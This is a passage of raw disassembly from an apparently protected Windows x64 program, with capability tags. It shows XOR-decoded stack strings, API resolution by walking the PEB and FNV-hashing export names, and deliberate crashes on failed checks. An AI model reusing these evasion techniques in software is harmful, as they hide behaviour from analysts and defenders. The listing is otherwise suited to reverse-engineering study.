Function at 0x14008d780
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1218]
mov eax, 0x1318
call fcn.140109af0
sub rsp, rax
movaps xmmword [rsp + 0x1300], xmm6
movaps xmmword [rsp + 0x12f0], xmm7
movaps xmmword [rsp + 0x12e0], xmm8
movaps xmmword [rsp + 0x12d0], xmm9
movaps xmmword [rsp + 0x12c0], xmm10
movaps xmmword [rsp + 0x12b0], xmm11
movaps xmmword [rsp + 0x12a0], xmm12
mov rax, qword [0x14018d900]
xor rax, rsp
mov qword [rbp + 0x1198], rax
mov rbx, r9
mov qword [rbp + 0x378], rbx
mov r15, r8
mov qword [rbp + 0x7c8], r8
mov qword [rbp + 0x80], rdx
mov rdi, rcx
mov qword [rbp + 0x78], rcx
mov rax, qword [rbp + 0x1280]
mov qword [rbp + 0x420], rax
mov r13, qword [rbp + 0x1298]
mov rsi, qword [rbp + 0x12b0]
mov qword [rbp + 0x640], rsi
mov rax, qword [rbp + 0x12b8]
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x12c0]
mov qword [rbp + 0xb0], rax
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14009a2a6
cmp byte [0x14018e6f6], 0
jne 0x14008d873
call fcn.14008b1d0
mov byte [0x14018e6f6], 1
xor edx, edx
lea rcx, [0x14018ead8]
call fcn.1400260d0
xor r12d, r12d
mov r14d, dword [reloc.WS2_32.dll_accept]
movss xmm11, dword [0x140116f14]
xorps xmm12, xmm12
movss xmm9, dword [0x14015f1b0]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x140092309
mov eax, dword [str.SWQG6]
mov dword [rbp], eax
movzx ecx, word [0x14015c198]
mov word [rbp + 4], cx
movzx eax, byte [0x14015c19a]
mov byte [rbp], Ordinal_79
xor byte [rbp + 1], 0x31
xor byte [rbp + 2], 0x32
xor byte [rbp + 3], 0x33
xor cl, 0x34
mov byte [rbp + 4], cl
xor byte [rbp + 5], 0x35
xor al, 0x36
mov byte [rbp + 6], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp]
call fcn.140005280
mov ecx, 0xff3366cc
call fcn.140087260
movaps xmm0, xmmword [0x14011c520]
movups xmmword [rbp + 0xc60], xmm0
lea rdx, [rbp + 0xc60]
lea ecx, [r12 + 3]
call fcn.140021de0
movaps xmm0, xmmword [0x14011c2b0]
movups xmmword [rbp + 0xc70], xmm0
lea rdx, [rbp + 0xc70]
lea ecx, [r12 + 5]
call fcn.140021de0
movaps xmm1, xmm11
lea ecx, [r12 + 6]
call fcn.140021f20
lea r14, [r12 - 1]
lea r15, [0x14018ed18]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x14008f7c2
mov qword [rbp + 0x538], r12
lea rcx, [rbp + 0x538]
call fcn.140025d40
mov rcx, rdi
call fcn.140025b40
call fcn.1400197f0
mov rsi, rax
movaps xmm0, xmmword [0x14015f280]
mov qword [rax + 0x114], 0x3f800000
mov dword [rax + 0x11c], r12d
mov dword [rax + 0x120], 0x3f800000
movups xmmword [rax + 0xf4], xmm0
mov dword [rax + 0xd4], 0x3f800000
mov dword [rax + 0xd8], 0x3f800000
mov dword [rax + 0xdc], 0x3f800000
mov dword [rax + 0xe0], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x540], 0x44390000
mov dword [rbp + 0x544], 0x43e60000
movsd xmm0, qword [0x14015c1a0]
movsd qword [rbp - 0x18], xmm0
movzx eax, word [0x14015c1a8]
mov word [rbp - 0x10], ax
cmp byte [reloc.WS2_32.dll_gethostname], r12b
je 0x14008da4e
mov byte [rbp - 0x18], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x17], 0x31
xor byte [rbp - 0x16], 0x32
xor byte [rbp - 0x15], 0x33
xor byte [rbp - 0x14], 0x34
xor byte [rbp - 0x13], 0x35
xor byte [rbp - 0x12], 0x36
xor byte [rbp - 0x11], 0x37
xor byte [rbp - 0x10], 0x38
xor byte [rbp - 0xf], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x540]
lea rcx, [rbp - 0x18]
call fcn.140007fe0
mov dword [rbp + 0x548], 0x43814000
mov dword [rbp + 0x54c], 0x42480000
lea rcx, [rbp + 0x548]
call fcn.140025d40
mov rcx, rbx
call fcn.140025b40
lea rcx, str.5k_Services
call fcn.14004f3e0
movaps xmm0, xmm9
call fcn.140021cc0
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x550], 0x43700000
mov dword [rbp + 0x554], 0x430c0000
lea rcx, [rbp + 0x550]
call fcn.140025d40
movsd xmm0, qword [0x14015c1b0]
movsd qword [rbp + 0xf8], xmm0
mov eax, dword [0x14015c1b8]
mov dword [rbp + 0x100], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x104], al
mov r8d, r12d
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14008dc06
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, dword [0x14015c1b0]
xorps xmm2, xmm0
movd dword [rbp + 0xf8], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, dword [rbp + 0xfc]
xorps xmm2, xmm0
movd dword [rbp + 0xfc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008dc20
lea rcx, [rbp + 0xf8]
call fcn.14004f3e0
mov dword [rbp + 0x558], 0x43700000
mov dword [rbp + 0x55c], 0x43250000
lea rcx, [rbp + 0x558]
call fcn.140025d40
movsd xmm0, qword [0x14015c1c0]
movsd qword [rbp + 8], xmm0
movzx ecx, word [0x14015c1c8]
mov word [rbp + 0x10], cx
movzx eax, byte [0x14015c1ca]
mov byte [rbp + 8], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 9], 0x31
xor byte [rbp + 0xa], 0x32
xor byte [rbp + 0xb], 0x33
xor byte [rbp + 0xc], 0x34
xor byte [rbp + 0xd], 0x35
xor byte [rbp + 0xe], 0x36
xor byte [rbp + 0xf], 0x37
xor cl, 0x38
mov byte [rbp + 0x10], cl
xor byte [rbp + 0x11], 0x39
xor al, 0x3a
mov byte [rbp + 0x12], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x14018d322]
lea rcx, [rbp + 8]
call fcn.140047840
call fcn.140021550
movaps xmm0, xmm9
call fcn.140021cc0
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x560], 0x43700000
mov dword [rbp + 0x564], 0x434d0000
lea rcx, [rbp + 0x560]
call fcn.140025d40
movsd xmm0, qword [0x14015c1d0]
movsd qword [rbp + 0x108], xmm0
mov eax, dword [0x14015c1d8]
mov dword [rbp + 0x110], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x114], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008de60
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c1d0]
xorps xmm2, xmm0
movd dword [rbp + 0x108], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c]
xorps xmm2, xmm1
movd dword [rbp + 0x10c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x108]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008de70
lea rcx, [rbp + 0x108]
call fcn.14004f3e0
mov dword [rbp + 0x568], 0x43700000
mov dword [rbp + 0x56c], 0x43660000
lea rcx, [rbp + 0x568]
call fcn.140025d40
movsd xmm0, qword [0x14015c1e0]
movsd qword [rbp + 0x18], xmm0
movzx ecx, word [0x14015c1e8]
mov word [rbp + 0x20], cx
movzx eax, byte [0x14015c1ea]
mov byte [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x19], 0x31
xor byte [rbp + 0x1a], 0x32
xor byte [rbp + 0x1b], 0x33
xor byte [rbp + 0x1c], 0x34
xor byte [rbp + 0x1d], 0x35
xor byte [rbp + 0x1e], 0x36
xor byte [rbp + 0x1f], 0x37
xor cl, 0x38
mov byte [rbp + 0x20], cl
xor byte [rbp + 0x21], 0x39
xor al, 0x3a
mov byte [rbp + 0x22], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x14018d421]
lea rcx, [rbp + 0x18]
call fcn.140047840
call fcn.140021550
mov dword [rsi + 0x114], 0x3f4ccccd
mov dword [rsi + 0x118], 0x3ecccccd
mov qword [rsi + 0x11c], 0x3e4ccccd
mov dword [rbp + 0x570], 0x43700000
mov dword [rbp + 0x574], 0x43898000
lea rcx, [rbp + 0x570]
call fcn.140025d40
mov rcx, rdi
call fcn.140025b40
movaps xmm6, xmmword [0x14015f2c0]
mov dword [rbp + 0x578], 0x43820000
mov dword [rbp + 0x57c], 0x42200000
movsd xmm0, qword [str.UZZ]
movsd qword [rbp + 0x1e8], xmm0
mov eax, dword [0x14015c1f8]
mov dword [rbp + 0x1f0], eax
cmp byte [0x14015c1fb], r12b
je 0x14008e130
mov r8d, r12d
cmp ebx, 2
jl 0x14008e0e4
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.UZZ]
xorps xmm2, xmm0
movd dword [rbp + 0x1e8], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ec]
xorps xmm2, xmm1
movd dword [rbp + 0x1ec], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1e8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008e100
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d658]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d650]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d648]
xor r8d, r8d
lea rdx, [rbp + 0x578]
lea rcx, [rbp + 0x1e8]
call fcn.14003f580
test al, al
je 0x14008ef95
lea rax, [rbp + 0x9b0]
mov qword [rbp + 0x7c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x9b0], xmm0
mov qword [rbp + 0x9c0], r12
mov qword [rbp + 0x9c8], r12
mov r8, r14
lea rax, [0x14018d421]
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14008e1d0
mov rdx, rax
lea rcx, [rbp + 0x9b0]
call fcn.140056110
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x990], xmm0
mov qword [rbp + 0x9a0], r12
mov qword [rbp + 0x9a8], r12
mov r8, r14
lea rax, [0x14018d322]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14008e210
mov rdx, rax
lea rcx, [rbp + 0x990]
call fcn.140056110
nop
lea r8, [rbp + 0x9b0]
lea rdx, [rbp + 0x990]
lea rcx, [0x14018eb00]
call fcn.1400b3b00
cmp byte [0x14018ed10], 0
jne 0x14008e2d1
movsd xmm0, qword [0x14015c200]
movsd qword [rbp + 0x68], xmm0
movzx ecx, word [0x14015c208]
mov word [rbp + 0x70], cx
movzx eax, byte [0x14015c20a]
mov byte [rbp + 0x68], 0x41
xor byte [rbp + 0x69], 0x31
xor byte [rbp + 0x6a], 0x32
xor byte [rbp + 0x6b], 0x33
xor byte [rbp + 0x6c], 0x34
xor byte [rbp + 0x6d], 0x35
xor byte [rbp + 0x6e], 0x36
xor byte [rbp + 0x6f], 0x37
xor cl, 0x38
mov byte [rbp + 0x70], cl
xor byte [rbp + 0x71], 0x39
xor al, 0x3a
mov byte [rbp + 0x72], al
mov rdx, r15
cmp qword [0x14018ed30], 0xf
cmova rdx, qword [0x14018ed18]
xor r9d, r9d
lea r8, [rbp + 0x68]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14008ef95
movsd xmm0, qword [0x14015c210]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14015c218]
mov dword [rsp + 0x58], eax
cmp byte [0x14015c21b], 0
je 0x14008e440
mov r8d, r12d
cmp ebx, 2
jl 0x14008e404
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c210]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008e410
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xea0]
call fcn.140062ce0
mov r8, rax
lea rdx, [rbp + 0x1178]
lea rcx, [0x14018eb00]
call fcn.1400b9640
nop
cmp qword [rbp + 0x1188], 2
jbe 0x14008ed6e
mov ecx, dword [0x14018e6fc]
call fcn.14006c240
test al, al
je 0x14008e69f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e516
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e516
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e511
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e4f0
cmp r8d, 0xcded1a85
je 0x14008e51b
test r9d, r9d
jne 0x14008e4d0
mov rax, qword [rax]
jmp 0x14008e4a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e5c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e5c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e5c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e5a0
cmp r8d, 0xe80fd3a
je 0x14008e5cb
test r9d, r9d
jne 0x14008e580
mov rax, qword [rax]
jmp 0x14008e550
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e676
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e676
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e671
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e650
cmp r8d, 0xa52bcaf9
je 0x14008e67b
test r9d, r9d
jne 0x14008e630
mov rax, qword [rax]
jmp 0x14008e600
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006bf50
test al, al
je 0x14008e8bf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e736
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e736
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e731
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e710
cmp r8d, 0xcded1a85
je 0x14008e73b
test r9d, r9d
jne 0x14008e6f0
mov rax, qword [rax]
jmp 0x14008e6c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e7e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e7e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e7e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e7c0
cmp r8d, 0xe80fd3a
je 0x14008e7eb
test r9d, r9d
jne 0x14008e7a0
mov rax, qword [rax]
jmp 0x14008e770
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e896
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e896
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e891
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e870
cmp r8d, 0xa52bcaf9
je 0x14008e89b
test r9d, r9d
jne 0x14008e850
mov rax, qword [rax]
jmp 0x14008e820
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x14018e6f0], 0
je 0x14008eadf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008e956
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008e956
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008e951
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e930
cmp r8d, 0xcded1a85
je 0x14008e95b
test r9d, r9d
jne 0x14008e910
mov rax, qword [rax]
jmp 0x14008e8e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ea06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ea06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ea01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008e9e0
cmp r8d, 0xe80fd3a
je 0x14008ea0b
test r9d, r9d
jne 0x14008e9c0
mov rax, qword [rax]
jmp 0x14008e990
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
